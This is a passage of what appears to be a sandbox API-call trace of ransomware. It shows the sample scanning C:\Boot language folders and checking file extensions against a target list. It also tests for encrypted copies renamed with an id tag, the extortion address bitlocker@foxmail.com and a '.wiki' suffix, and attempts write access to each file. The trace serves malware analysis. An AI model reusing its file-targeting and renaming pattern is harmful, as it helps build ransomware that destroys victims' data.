[0043.162] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0043.162] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.162] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.162] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.162] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.162] lstrlenW (lpString=".doc") returned 4 [0043.162] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.162] lstrlenW (lpString=".docx") returned 5 [0043.162] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.162] lstrlenW (lpString=".pdf") returned 4 [0043.162] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.162] lstrlenW (lpString=".xls") returned 4 [0043.162] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.162] lstrlenW (lpString=".xlsx") returned 5 [0043.162] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.162] lstrlenW (lpString=".ppt") returned 4 [0043.162] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.162] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.163] lstrlenW (lpString=".zip") returned 4 [0043.163] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.163] lstrlenW (lpString=".rar") returned 4 [0043.163] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.163] lstrlenW (lpString=".bz2") returned 4 [0043.163] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.163] lstrlenW (lpString=".7z") returned 3 [0043.163] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.163] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.163] lstrlenW (lpString=".dbf") returned 4 [0043.163] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.163] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.163] lstrlenW (lpString=".1cd") returned 4 [0043.163] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.163] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.163] lstrlenW (lpString=".jpg") returned 4 [0043.163] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.163] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.163] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.163] lstrlenW (lpString=".doc") returned 4 [0043.163] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.163] lstrlenW (lpString=".docx") returned 5 [0043.163] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.163] lstrlenW (lpString=".pdf") returned 4 [0043.163] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.163] lstrlenW (lpString=".xls") returned 4 [0043.163] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.163] lstrlenW (lpString=".xlsx") returned 5 [0043.163] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.163] lstrlenW (lpString=".ppt") returned 4 [0043.163] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.163] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.163] lstrlenW (lpString=".zip") returned 4 [0043.163] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.164] lstrlenW (lpString=".rar") returned 4 [0043.164] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.164] lstrlenW (lpString=".bz2") returned 4 [0043.164] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.164] lstrlenW (lpString=".7z") returned 3 [0043.164] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.164] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.164] lstrlenW (lpString=".dbf") returned 4 [0043.164] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.164] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.164] lstrlenW (lpString=".1cd") returned 4 [0043.164] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.164] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0043.164] lstrlenW (lpString=".jpg") returned 4 [0043.164] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.164] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.164] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.164] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.164] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90704) returned 1 [0043.164] CloseHandle (hObject=0x164) returned 1 [0043.164] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0043.164] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.164] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.165] lstrlenW (lpString=".doc") returned 4 [0043.165] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.165] lstrlenW (lpString=".docx") returned 5 [0043.165] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.165] lstrlenW (lpString=".pdf") returned 4 [0043.165] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.165] lstrlenW (lpString=".xls") returned 4 [0043.165] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.165] lstrlenW (lpString=".xlsx") returned 5 [0043.165] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.165] lstrlenW (lpString=".ppt") returned 4 [0043.165] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.165] lstrlenW (lpString=".zip") returned 4 [0043.165] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.165] lstrlenW (lpString=".rar") returned 4 [0043.165] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.165] lstrlenW (lpString=".bz2") returned 4 [0043.165] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.165] lstrlenW (lpString=".7z") returned 3 [0043.165] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.165] lstrlenW (lpString=".dbf") returned 4 [0043.165] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.165] lstrlenW (lpString=".1cd") returned 4 [0043.165] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.165] lstrlenW (lpString=".jpg") returned 4 [0043.165] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.165] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.166] lstrlenW (lpString=".doc") returned 4 [0043.166] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.166] lstrlenW (lpString=".docx") returned 5 [0043.166] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.166] lstrlenW (lpString=".pdf") returned 4 [0043.166] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.166] lstrlenW (lpString=".xls") returned 4 [0043.166] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.166] lstrlenW (lpString=".xlsx") returned 5 [0043.166] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.166] lstrlenW (lpString=".ppt") returned 4 [0043.166] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.166] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.166] lstrlenW (lpString=".zip") returned 4 [0043.166] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.166] lstrlenW (lpString=".rar") returned 4 [0043.166] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.166] lstrlenW (lpString=".bz2") returned 4 [0043.166] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.166] lstrlenW (lpString=".7z") returned 3 [0043.166] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.166] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.166] lstrlenW (lpString=".dbf") returned 4 [0043.166] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.166] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.166] lstrlenW (lpString=".1cd") returned 4 [0043.166] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.166] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0043.166] lstrlenW (lpString=".jpg") returned 4 [0043.167] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.167] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.167] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.167] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.167] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90704) returned 1 [0043.167] CloseHandle (hObject=0x164) returned 1 [0043.167] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0043.167] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.167] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.167] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.167] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.167] lstrlenW (lpString=".doc") returned 4 [0043.167] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.167] lstrlenW (lpString=".docx") returned 5 [0043.167] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.167] lstrlenW (lpString=".pdf") returned 4 [0043.167] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.167] lstrlenW (lpString=".xls") returned 4 [0043.167] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.167] lstrlenW (lpString=".xlsx") returned 5 [0043.168] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.168] lstrlenW (lpString=".ppt") returned 4 [0043.168] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.168] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.168] lstrlenW (lpString=".zip") returned 4 [0043.168] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.168] lstrlenW (lpString=".rar") returned 4 [0043.168] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.168] lstrlenW (lpString=".bz2") returned 4 [0043.168] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.168] lstrlenW (lpString=".7z") returned 3 [0043.168] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.168] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.168] lstrlenW (lpString=".dbf") returned 4 [0043.168] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.168] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.168] lstrlenW (lpString=".1cd") returned 4 [0043.168] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.168] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.168] lstrlenW (lpString=".jpg") returned 4 [0043.168] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.168] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.168] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.168] lstrlenW (lpString=".doc") returned 4 [0043.168] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.168] lstrlenW (lpString=".docx") returned 5 [0043.168] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.168] lstrlenW (lpString=".pdf") returned 4 [0043.168] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.168] lstrlenW (lpString=".xls") returned 4 [0043.168] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.168] lstrlenW (lpString=".xlsx") returned 5 [0043.168] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.168] lstrlenW (lpString=".ppt") returned 4 [0043.168] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.168] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.169] lstrlenW (lpString=".zip") returned 4 [0043.169] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.169] lstrlenW (lpString=".rar") returned 4 [0043.169] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.169] lstrlenW (lpString=".bz2") returned 4 [0043.169] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.169] lstrlenW (lpString=".7z") returned 3 [0043.169] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.169] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.169] lstrlenW (lpString=".dbf") returned 4 [0043.169] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.169] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.169] lstrlenW (lpString=".1cd") returned 4 [0043.169] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.169] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0043.169] lstrlenW (lpString=".jpg") returned 4 [0043.169] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.169] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.169] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.169] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.169] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90176) returned 1 [0043.169] CloseHandle (hObject=0x164) returned 1 [0043.169] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0043.170] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.170] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.170] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.170] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.170] lstrlenW (lpString=".doc") returned 4 [0043.170] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.170] lstrlenW (lpString=".docx") returned 5 [0043.170] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.170] lstrlenW (lpString=".pdf") returned 4 [0043.170] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.170] lstrlenW (lpString=".xls") returned 4 [0043.170] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.170] lstrlenW (lpString=".xlsx") returned 5 [0043.170] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.170] lstrlenW (lpString=".ppt") returned 4 [0043.170] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.170] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.170] lstrlenW (lpString=".zip") returned 4 [0043.170] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.170] lstrlenW (lpString=".rar") returned 4 [0043.170] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.170] lstrlenW (lpString=".bz2") returned 4 [0043.170] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.170] lstrlenW (lpString=".7z") returned 3 [0043.170] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.170] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.170] lstrlenW (lpString=".dbf") returned 4 [0043.170] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.170] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.170] lstrlenW (lpString=".1cd") returned 4 [0043.170] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.170] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.170] lstrlenW (lpString=".jpg") returned 4 [0043.171] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.171] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.171] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.171] lstrlenW (lpString=".doc") returned 4 [0043.171] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.171] lstrlenW (lpString=".docx") returned 5 [0043.171] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.171] lstrlenW (lpString=".pdf") returned 4 [0043.171] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.171] lstrlenW (lpString=".xls") returned 4 [0043.171] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.171] lstrlenW (lpString=".xlsx") returned 5 [0043.171] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.171] lstrlenW (lpString=".ppt") returned 4 [0043.171] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.171] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.171] lstrlenW (lpString=".zip") returned 4 [0043.171] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.171] lstrlenW (lpString=".rar") returned 4 [0043.171] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.171] lstrlenW (lpString=".bz2") returned 4 [0043.171] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.171] lstrlenW (lpString=".7z") returned 3 [0043.171] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.171] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.171] lstrlenW (lpString=".dbf") returned 4 [0043.171] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.171] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.171] lstrlenW (lpString=".1cd") returned 4 [0043.171] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.171] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0043.171] lstrlenW (lpString=".jpg") returned 4 [0043.171] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.172] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.172] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.172] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.172] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=89664) returned 1 [0043.172] CloseHandle (hObject=0x164) returned 1 [0043.172] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0043.172] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.172] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.172] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.172] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.172] lstrlenW (lpString=".doc") returned 4 [0043.172] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.172] lstrlenW (lpString=".docx") returned 5 [0043.172] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.172] lstrlenW (lpString=".pdf") returned 4 [0043.172] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.172] lstrlenW (lpString=".xls") returned 4 [0043.172] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.172] lstrlenW (lpString=".xlsx") returned 5 [0043.172] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.172] lstrlenW (lpString=".ppt") returned 4 [0043.172] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.172] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.173] lstrlenW (lpString=".zip") returned 4 [0043.173] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.173] lstrlenW (lpString=".rar") returned 4 [0043.173] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.173] lstrlenW (lpString=".bz2") returned 4 [0043.173] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.173] lstrlenW (lpString=".7z") returned 3 [0043.173] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.173] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.173] lstrlenW (lpString=".dbf") returned 4 [0043.173] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.173] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.173] lstrlenW (lpString=".1cd") returned 4 [0043.173] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.173] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.173] lstrlenW (lpString=".jpg") returned 4 [0043.173] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.173] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.173] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.173] lstrlenW (lpString=".doc") returned 4 [0043.173] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0043.173] lstrlenW (lpString=".docx") returned 5 [0043.173] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0043.173] lstrlenW (lpString=".pdf") returned 4 [0043.173] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0043.173] lstrlenW (lpString=".xls") returned 4 [0043.173] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0043.173] lstrlenW (lpString=".xlsx") returned 5 [0043.173] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0043.173] lstrlenW (lpString=".ppt") returned 4 [0043.173] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0043.173] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.173] lstrlenW (lpString=".zip") returned 4 [0043.173] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0043.173] lstrlenW (lpString=".rar") returned 4 [0043.173] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0043.174] lstrlenW (lpString=".bz2") returned 4 [0043.174] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0043.174] lstrlenW (lpString=".7z") returned 3 [0043.174] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0043.174] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.174] lstrlenW (lpString=".dbf") returned 4 [0043.174] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0043.174] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.174] lstrlenW (lpString=".1cd") returned 4 [0043.174] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0043.174] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0043.174] lstrlenW (lpString=".jpg") returned 4 [0043.174] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0043.174] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.174] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.174] CreateFileW 